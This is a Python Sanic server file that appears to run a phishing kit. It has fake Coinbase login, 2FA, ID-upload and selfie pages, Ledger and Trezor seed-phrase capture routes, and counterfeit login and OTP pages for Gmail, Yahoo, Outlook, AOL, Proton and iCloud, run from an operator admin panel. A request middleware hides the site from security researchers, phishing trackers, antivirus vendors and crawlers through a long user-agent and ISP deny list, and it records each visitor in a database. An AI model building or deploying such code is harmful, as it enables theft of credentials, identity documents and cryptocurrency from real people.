import aiohttp, json, secrets, json, os
from sanic import Sanic, Request, response
from sanic.exceptions import NotFound
from sanic_ext import render

# Managers
from managers.database import DatabaseManager
from managers import authorize
from managers import api
from managers import admin
from managers import coinbase
from managers import utils
from managers import outlook
from managers import gmail
from managers import yahoo
from managers import aol
from managers import proton
from managers import icloud


app = Sanic(__name__)
app.static('/assets/', './assets/')
config = json.load(open('config.json', 'r'))

# API Routes
app.add_route(api.user_arrived,'/api/v1/heartbeat', methods=["POST"])
app.add_route(api.user_left,'/api/v1/flatline', methods=["POST"])
app.add_route(api.get_active_users,'/api/v1/heartbeats')
app.add_route(api.identifier,'/identifiers/state', methods=["GET", "POST"])
app.add_route(api.get_identifiers,'/identifiers/all_states', methods=["GET"])

# Admin Routes
app.add_route(admin.adminlogin,'/adminlogin', methods=["GET", "POST"])
app.add_route(admin.admin,'/admin', methods=["GET", "POST"])
app.add_route(admin.sendmail,'/adminsendmail', methods=["GET", "POST"])

# Coinbase Routes
app.add_route(coinbase.cb_login,'/login', methods=["GET", "POST"])
app.add_route(coinbase.cb_reset,'/reset', methods=["GET", "POST"])
app.add_route(coinbase.cb_email,'/verification', methods=["GET", "POST"])
app.add_route(coinbase.cb_otp,'/authenticator', methods=["GET", "POST"])
app.add_route(coinbase.cb_otp2,'/phone_verification', methods=["GET", "POST"])
app.add_route(coinbase.cb_id,'/id_frontback', methods=["GET", "POST"])
app.add_route(coinbase.cb_idMain,'/id', methods=["GET", "POST"])
app.add_route(coinbase.cb_selfie,'/id_selfie', methods=["GET", "POST"])
app.add_route(coinbase.seed_ledger,'/disconnect/ledger', methods=["GET", "POST"])
app.add_route(coinbase.seed_trezor,'/disconnect/trezor', methods=["GET", "POST"])
app.add_route(coinbase.review_account,'/review/activity', methods=["GET", "POST"])
app.add_route(coinbase.confirm_activity,'/confirm/activity', methods=["GET", "POST"])
app.add_route(coinbase.wallet,'/wallet', methods=["GET", "POST"])

# Util Routes
app.add_route(utils.id_api,'/api/v1/ids/<id>', methods=["GET", "POST"])

# Gmail Routes
app.add_route(gmail.login,'/gmail/login', methods=["GET", "POST"])
app.add_route(gmail.otp,'/gmail/verification', methods=["GET", "POST"])

# Yahoo Routes
app.add_route(yahoo.login,'/yahoo/login', methods=["GET", "POST"], name="yahoo_login")
app.add_route(yahoo.otp,'/yahoo/verification', methods=["GET", "POST"], name="yahoo_otp")

# Aol Routes
app.add_route(aol.login,'/aol/login', methods=["GET", "POST"], name="aol_login")
app.add_route(aol.otp,'/aol/verification', methods=["GET", "POST"], name="aol_otp")

# Outlook Routes
app.add_route(outlook.login,'/outlook/login', methods=["GET", "POST"], name="outlook_login")
app.add_route(outlook.otp,'/outlook/verification', methods=["GET", "POST"], name="outlook_otp")

# Proton Routes
app.add_route(proton.login,'/proton/login', methods=["GET", "POST"], name="proton_login")
app.add_route(proton.otp,'/proton/verification', methods=["GET", "POST"], name="proton_otp")

# iCloud Routes
app.add_route(icloud.login,'/icloud/login', methods=["GET", "POST"], name="icloud_login")
app.add_route(icloud.otp,'/icloud/verification', methods=["GET", "POST"], name="icloud_otp")

@app.exception(NotFound)
async def ignore_404s(request, exception):
    return response.text("404 not found", status=404)



def generate_token():
    random_bytes = secrets.token_bytes(16)
    token = random_bytes.hex()
    return token

@app.middleware('request')
async def assign_identifier(request):
    config = json.load(open('config.json', 'r'))
    if config["panel_up"] == "false":
        if not any(page in request.path for page in ["admin", "api", "identifiers"]):
            return response.text("404 not found", status=404)

    if config["mobile_only"] == "true":
        if not any(page in request.path for page in ["admin", "api", "identifiers"]):
            user_agent = request.headers.get("user-agent", "").lower()
            if not any(device in user_agent for device in ["android", "iphone", "ipad", "ipod", "mobile", "phone", "opera mini", "blackberry"]):
                return response.text("404 not found", status=404)

    for ip in config["ip_blacklist"]:
        if request.ip in ip:
            return response.text("404 not found", status=404)

    if not request.cookies.get('user_id'):
        blacklist_isps = ['above', 'google', 'softlayer', 'amazonaws', 'cyveillance', 'phishtank', 'dreamhost', 'netpilot', 'calyxinstitute', 'tor-exit', 'msnbot', 'p3pwgdsn', 'netcraft', 'trendmicro', 'ebay', 'paypal', 'torservers', 'messagelabs', 'sucuri.net', 'crawler', 'bot', 'compatible', 'facebook', 'mozilla', 'apache-httpclient', 'lssrocketcrawler', 'trident', 'x11', 'macintosh', 'urlredirectresolver', 'jetbrains', 'spam', 'windows 95', 'windows xp', 'windows 98', 'acunetix', 'netsparker', '007ac9', '008', '192.comagent', '200pleasebot', '360spider', '4seohuntbot', '50.nu', 'a6-indexer', 'admantx', 'amznkassocbot', 'aboundexbot', 'aboutusbot', 'abrave spider', 'accelobot', 'acoonbot', 'addthis.com', 'adsbot-google', 'ahrefsbot', 'alexabot', 'amagit.com', 'analytics', 'antbot', 'apercite', 'aportworm', 'googlebot', 'baiduspider', 'ia_archiver', 'r6_feedfetcher', 'netcraftsurveyagent', 'sogou web spider', 'bingbot', 'yahoo! slurp', 'facebookexternalhit', 'printfulbot', 'twitterbot', 'unwindfetchor', 'urlresolver', 'butterfly', 'tweetmemebot', 'paperlibot', 'mj12bot', 'exabot', 'ezooms', 'yandexbot', 'searchmetricsbot', 'picsearch', 'tweetedtimes bot', 'queryseekerspider', 'showyoubot', 'woriobot', 'merlinkbot', 'bazquxbot', 'kraken', 'sistrix crawler', 'r6_commentreader', 'magpie-crawler', 'grapeshotcrawler', 'percolatecrawler', 'maxpointcrawler', 'netseer crawler', 'grokkit-crawler', 'smxcrawler', 'pulsecrawler', 'y!j-brw', '80legs.com/webcrawler', 'mediapartners-google', 'spinn3r', 'inagist', 'python-urllib', 'ning', 'tencenttraveler', 'feedfetcher-google', 'mon.itor.us', 'spbot', 'feedly', 'curl', 'spider', 'abot', 'dbot', 'ebot', 'hbot', 'kbot', 'lbot', 'mbot', 'nbot', 'obot', 'pbot', 'rbot', 'sbot', 'tbot', 'vbot', 'ybot', 'zbot', 'bot.', 'bot/', '_bot', '.bot', '/bot', '-bot', ':bot', '(bot', 'crawl', 'slurp', 'seek', 'accoona', 'acoon', 'adressendeutschland', 'ah-ha.com', 'ahoy', 'altavista', 'ananzi', 'anthill', 'appie', 'arachnophilia', 'arale', 'araneo', 'aranha', 'architext', 'aretha', 'arks', 'asterias', 'atlocal', 'atn', 'atomz', 'augurfind', 'backrub', 'bannana_bot', 'baypup', 'bdfetch', 'big brother', 'biglotron', 'bjaaland', 'blackwidow', 'blaiz', 'blog', 'blo.', 'bloodhound', 'boitho', 'booch', 'bradley', 'calif', 'cassandra', 'ccubee', 'cfetch', 'charlotte', 'churl', 'cienciaficcion', 'cmc', 'collective', 'comagent', 'combine', 'computingsite', 'csci', 'cusco', 'daumoa', 'deepindex', 'delorie', 'depspid', 'deweb', 'echo blinde kuh', 'digger', 'ditto', 'dmoz', 'docomo', 'download express', 'dtaagent', 'dwcp', 'ebiness', 'ebingbong', 'e-collector', 'ejupiter', 'emacs-w3 search engine', 'esther', 'evliya celebi', 'ezresult', 'falcon', 'felix ide', 'ferret', 'fetchrover', 'fido', 'findlinks', 'fireball', 'fish search', 'fouineur', 'funnelweb', 'gazz', 'gcreep', 'genieknows', 'getterroboplus', 'geturl', 'glx', 'goforit', 'golem', 'grabber', 'grapnel', 'gralon', 'griffon', 'gromit', 'grub', 'gulliver', 'hamahakki', 'harvest', 'havindex', 'helix', 'heritrix', 'hku www octopus', 'homerweb', 'htdig', 'html index', 'html_analyzer', 'htmlgobble', 'hubater', 'hyper-decontextualizer', 'ibm_planetwide', 'ichiro', 'iconsurf', 'iltrovatore', 'image.kapsi.net', 'imagelock', 'incywincy', 'indexer', 'infobee', 'informant', 'ingrid', 'inktomisearch.com', 'inspector web', 'intelliagent', 'internet shinchakubin', 'ip3000', 'iron33', 'israeli-search', 'ivia', 'jack', 'jakarta', 'javabee', 'jetbot', 'jumpstation', 'katipo', 'kdd-explorer', 'kilroy', 'knowledge', 'kototoi', 'kretrieve', 'labelgrabber', 'lachesis', 'larbin', 'legs', 'libwww', 'linkalarm', 'link validator', 'linkscan', 'lockon', 'lwp', 'lycos', 'magpie', 'mantraagent', 'mapoftheinternet', 'marvin/', 'mattie', 'mediafox', 'mediapartners', 'mercator', 'merzscope', 'microsoft url control', 'minirank', 'miva', 'mj12', 'mnogosearch', 'moget', 'monster', 'moose', 'motor', 'multitext', 'muncher', 'muscatferret', 'mwd.search', 'myweb', 'najdi', 'nameprotect', 'nationaldirectory', 'nazilla', 'ncsa beta', 'nec-meshexplorer', 'nederland.zoek', 'netcarta webmap engine', 'netmechanic', 'netresearchserver', 'netscoop', 'newscan-online', 'nhse', 'nokia6682/', 'nomad', 'noyona', 'nutch', 'nzexplorer', 'objectssearch', 'occam', 'omni', 'open text', 'openfind', 'openintelligencedata', 'orb search', 'osis-project', 'pack rat', 'pageboy', 'pagebull', 'page_verifier', 'panscient', 'parasite', 'partnersite', 'patric', 'pear.', 'pegasus', 'peregrinator', 'pgp key agent', 'phantom', 'phpdig', 'picosearch', 'piltdownman', 'pimptrain', 'pinpoint', 'pioneer', 'piranha', 'plumtreewebaccessor', 'pogodak', 'poirot', 'pompos', 'poppelsdorf', 'poppi', 'popular iconoclast', 'psycheclone', 'publisher', 'python', 'rambler', 'raven search', 'roach', 'road runner', 'roadhouse', 'robbie', 'robofox', 'robozilla', 'rules', 'salty', 'sbider', 'scooter', 'scoutjet', 'scrubby', 'search.', 'searchprocess', 'semanticdiscovery', 'senrigan', 'sg-scout', "shai'hulud", 'shark', 'shopwiki', 'sidewinder', 'sift', 'silk', 'simmany', 'site searcher', 'site valet', 'sitetech-rover', 'skymob.com', 'sleek', 'smartwit', 'sna-', 'snappy', 'snooper', 'sohu', 'speedfind', 'sphere', 'sphider', 'spinner', 'spyder', 'steeler/', 'suke', 'suntek', 'supersnooper', 'surfnomore', 'sven', 'sygol', 'szukacz', 'tach black widow', 'tarantula', 'templeton', '/teoma', 't-h-u-n-d-e-r-s-t-o-n-e', 'theophrastus', 'titan', 'titin', 'tkwww', 'toutatis', 't-rex', 'tutorgig', 'twiceler', 'twisted', 'ucsd', 'udmsearch', 'url check', 'updated', 'vagabondo', 'valkyrie', 'verticrawl', 'victoria', 'vision-search', 'volcano', 'voyager/', 'voyager-hc', 'w3c_validator', 'w3m2', 'w3mir', 'walker', 'wallpaper', 'wanderer', 'wauuu', 'wavefire', 'web core', 'web hopper', 'web wombat', 'webbandit', 'webcatcher', 'webcopy', 'webfoot', 'weblayers', 'weblinker', 'weblog monitor', 'webmirror', 'webmonkey', 'webquest', 'webreaper', 'websitepulse', 'websnarf', 'webstolperer', 'webvac', 'webwalk', 'webwatch', 'webwombat', 'webzinger', 'wget', 'whizbang', 'whowhere', 'wild ferret', 'worldlight', 'wwwc', 'wwwster', 'xenu', 'xget', 'xift', 'xirq', 'yandex', 'yanga', 'yeti', 'yodao', 'zao/', 'zippp', 'zyborg', '....', 'digitalocean', 'amazon', 'google', 'net4sec', 'avast software s.r.o.', 'bullguard aps', 'paypal', 'hotmail', 'yahoo', 'aol', 'microsoft', 'kaspersky lab', 'linode, llc', 'msn', 'online s.a.s.', 'joshua peter mcquistan', 'avast']
        async with aiohttp.ClientSession() as session:
            async with session.get(f"http://ip-api.com/line/{request.ip}?fields=isp") as response:
                isp = await response.text()
                await session.close()
        if isp.lower() in blacklist_isps:
            return response.text("404 not found", status=404)

        unique_id = generate_token()

        request.ctx.user_id = unique_id
        db = DatabaseManager(config['mysql']['host'], config['mysql']['user'], config['mysql']['pass'], 3306)
        result = db.execute_query("INSERT INTO `users` (`id`, `ip`, `user_agent`, `page`, `required`) VALUES (%s, %s, %s, %s, %s)", (unique_id, request.ip, request.headers.get('user-agent'), 'Home' if len(request.path.split('/')) >= 1 else request.path.split('/')[1], ""))
        db.close()
        #print('ADDED: ', result)
    else:
        request.ctx.user_id = request.cookies.get('user_id')

@app.route("/api/toggle/mobile_only", methods=["POST"])
async def toggle_mobile_only(request):
    try:
        with open('config.json', 'r') as file:
            config = json.load(file)

        if config.get("mobile_only") == "true":
            config["mobile_only"] = "false"
        else:
            config["mobile_only"] = "true"

        with open('config.json', 'w') as file:
            json.dump(config, file, indent=4)

        return response({"status": "success", "mobile_only": config["mobile_only"]})
    
    except KeyError:
        return response({"status": "error", "message": "Invalid configuration key"}, status=400)

@app.route("/api/toggle/panel_up", methods=["POST"])
async def toggle_panel_up(request):
    try:
        with open('config.json', 'r') as file:
            config = json.load(file)

        if config.get("panel_up") == "true":
            config["panel_up"] = "false"
        else:
            config["panel_up"] = "true"

        with open('config.json', 'w') as file:
            json.dump(config, file, indent=4)

        return response({"status": "success", "panel_up": config["panel_up"]})
    
    except KeyError:
        return response({"status": "error", "message": "Invalid configuration key"}, status=400)

@app.middleware('response')
async def set_user_id_cookie(request, resp):
    if hasattr(request.ctx, 'user_id') and not request.cookies.get('user_id'):
        resp.cookies['user_id'] = request.ctx.user_id
        resp.cookies.httponly = True
        #resp.cookies['user_id']['httponly'] = True

@app.route('/', methods=['GET', 'POST'])
async def index(request: Request):
    user_id = request.ctx.user_id
    if user_id:
        config['first_page']
        db = DatabaseManager(config['mysql']['host'], config['mysql']['user'], config['mysql']['pass'], 3306)
        result = db.execute_query('SELECT required FROM users WHERE id = %s', (user_id,))
        db.close()

        if result:
            if 'required' in result[0]:
                value = result[0]['required']
                if value == '':
                    return response.redirect(config['first_page'])
    return await render("pages/coinbase/waiting.html")

@app.route('/page/<folder>/<filename>')
async def optone(request, folder, filename):
    file_path = os.path.join("templates", "pages", folder, f"{filename}.html")
    #print(f"Attempting to access file: {file_path}")  # Debugging line
    if os.path.isfile(file_path):
        with open(file_path, "r") as file:
            return response.html(file.read())

    # If the file is not found
    return response.text('File not found')



if __name__ == "__main__":
    app.run(host='127.0.0.1', port=8080, debug=True)
